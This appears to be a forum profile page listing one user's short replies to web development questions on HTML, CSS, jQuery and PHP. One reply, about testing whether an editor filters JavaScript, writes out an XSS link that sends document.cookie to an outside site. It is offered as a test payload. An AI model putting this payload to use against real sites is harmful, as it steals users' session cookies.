430 Posted Topics
Re: They use [code=HTML]<base target="frame2" />[/code] in the head. | |
Re: Some notes: post is not a valid attribute. If the button and h1 share a parent or "ancestor", you can use siblings() or closest() and find() to find the h1. Otherwise, you can use html5 and data-post instead. Furthermore, h1s don't have a value, use html() or text() instead. | |
Re: If you have a server-side script that sets cookie headers, you can get the expiration date of the cookies that are set on that page, with an XMLHttpRequest, but you have to actually 'execute' that page. Otherwise, nothing I can think of. | |
Re: What exactly do you want to remove the border of? In what browser do you see this border? Do you mean the .glossymenu? It's not a table, and the borders are hardcoded in the CSS. | |
Re: Perhaps exec() or shell_exec()? | |
Re: You need to seperate key/value pairs with an [icode]&[/icode]. | |
Re: Are you sure there's something in $DATERELEASE? And are you sure it's AllRelease, without an s? | |
Re: [url]http://www.ilovecolors.com.ar/how-to-add-a-color-picker-to-your-wordpress-plugin-or-theme/[/url] | |
Re: What you could do is start with [code=CSS] background-size:cover; -moz-background-size:cover; [/code] and then find a workaround for IE <= 8. | |
Re: I wouldn't code anything. It's impossible. | |
Re: Nope, you'll have to let the user choose if this is possible or not :) | |
Re: What did you try? For the css, you'll need something like [code]#cssdropdown li > ul[/code]. For IE6, you'll also need to change the javascript a bit. | |
Re: Silverlight is running client-side, so you don't need a special server for it. PHP is server-side, so they can live together happily (just like PHP and flash, for example). | |
Re: They *should* not allow inserting javascript, but always, try your best at inserting things like [code=html] <a href="javascript:location='www.somesite.com?cookies='+document.cookie">nice stuff!!</a> [/code] if this ends up in your site, and the editor didn't block it, something is wrong. | |
Re: Something like this: [code=Javascript] function(input, link) { input.onkeyup = function() { link.href = 'http://thispage.com/cars/' + input.value; }; }(document.getElementById('input_id'), document.getElementById('link_id')); [/code] Oops, didn't read your post carefully. Changed it slightly. ![]() | |
Re: There's a missing } at line 21, and the commas on 33 and 44 should be [icode];[/icode]. | |
Re: There are many methods for this, but many recommend [url]http://code.google.com/p/swfobject/[/url]. | |
Re: Duplicate of [url]http://www.daniweb.com/web-development/php/threads/365181[/url]. | |
Re: Change [icode]checkboxvalue=='on'[/icode] to just [icode]checkboxvalue[/icode]. | |
Re: Why would you want to pass around unit costs with GET anyway? | |
Re: For me it looks fine, on IE9 Win7 64bit, also in Compat Mode. | |
![]() | Re: What is in solve_error.php? Does it work if you put something like [icode]exit('hello');[/icode] on the top of that page? jQuery is very good at hiding errors. ![]() |
Re: Take a look at [url]http://www.php.net/manual/en/array.sorting.php[/url] and, probably, [url]http://www.php.net/manual/en/function.usort.php[/url]. | |
Re: Yes, a question mark should be escaped: [icode]\?[/icode]. | |
Re: If you are guaranteed that the string is [icode]colors<select><option value = 'blue'></option></select>[/icode] and nothing comes after that, you can just use [code]substr($var1, strlen($result_string1));[/code] but if you're not, just add 1: [code]substr($var1, strlen($result_string1), strpos($var1, $needle3) + 1);[/code] | |
Re: What kind of website would you like to make? That's most important, IMHO. | |
Re: You'll need to think of a way that you can allow that email address to change the pass, probably some long random key that you store encrypted. | |
Re: I think you'll want to store the array's, for example: [code] <?php session_start(); ob_start(); if(isset($_SESSION['data'])) $data = $_SESSION['data']; else { include 'dbconnect.php'; $sql = "SELECT * FROM accounts a, callhistory c JOIN callhistory ON a.client_id = c.crm_reference WHERE date(c.timestamp_dtm) = '2011-05-17' ORDER BY c.timestamp_dtm DESC"; $q = mysql_query($SQL); while($row = … | |
Re: As I understand it, you want to count the amount of males? The easiest way (I think) is something like this: [CODE] $males = 0; while($result = mysql_fetch_array($query)) { $resultSet[] = $result; if($result['sex'] == 'male') $males++; } [/CODE] | |
Re: For small xml files, [url=http://www.php.net/manual/en/book.simplexml.php]SimpleXML[/url] is nice, but in php, there are quite a few ways to parse xml, as you can read [url=http://stackoverflow.com/questions/1706042/how-to-parse-xml-file-in-php]here[/url]. | |
Re: What solutions don't you find "perfect"? What's wrong with them? | |
| |
Re: I'm not really sure what's in $xml, but you'll need to put something in the value attribute, some id or that name. Then get the data that matches that. | |
Re: I think you'll want to refacture that a bit. As a start, I would write two functions: one for disabling something, and one for enabling something. Also, don't put the handlers in the html, and note that if you want to change the selected option in a select element, you … | |
Re: If you don't want to reload the page doing this, you probably need AJAX. | |
Re: It depends, but generally, you can put it in a for loop: [CODE] for($i = 0; $i < 5; $i++) {?> <td>bla, bla</td> <?php } [/CODE] | |
Re: Both do, in fact, use CSS. | |
Re: You need to move the 2 up :) Another one. It's my favorite puzzle. Is there a sequence of valid moves in chess that leads to the following (explain): [img]http://twiss.nl/chess.png[/img] | |
Re: Don't post a question twice, it doesn't help. Anyway, you're still not giving enough information. ActiveTabIndex implies an int that indicates the active tab (0 for the first, 1 for the second, ...). | |
Re: Take a look at this: [url]http://camendesign.com/code/video_for_everybody[/url] | |
Re: What is $g? Probably an object ("object of class variant"). You'll need to think of what you actually want to know. Also, don't die if you can't delete a file. You die anyway, and you already know your file exists. | |
Re: What in the world is template:// ? | |
Re: Generally, just put them in nested [icode]ul[/icode]'s: [CODE=html] <ul> <li><a>Something</a></li> <li> <ul> <li><a>Something else..</a></li> <li> <ul> ... </ul> </li> </ul> </li> </ul> [/CODE] By the way, this is HTML, not javascript. | |
Re: That's not an error, it's a notice. You can turn off displaying them by calling [icode]error_reporting(0);[/icode], for example. This notice means, that $_POST does not contain anything for the index 'submit'. Don't worry about it. | |
![]() | Re: Perhaps it's easier to replace => with = in the first one and include it or them (in the correct order)? ![]() |
| |
Re: What did you try? What didn't work? What error did you get? | |
Re: Just try, it's easy. Start at [url]http://cufon.shoqolate.com/generate/[/url]. | |
Re: [url]lmddgtfy.com/?q=marquee+jquery[/url], for example [url]http://remysharp.com/2008/09/10/the-silky-smooth-marquee/[/url] |
The End.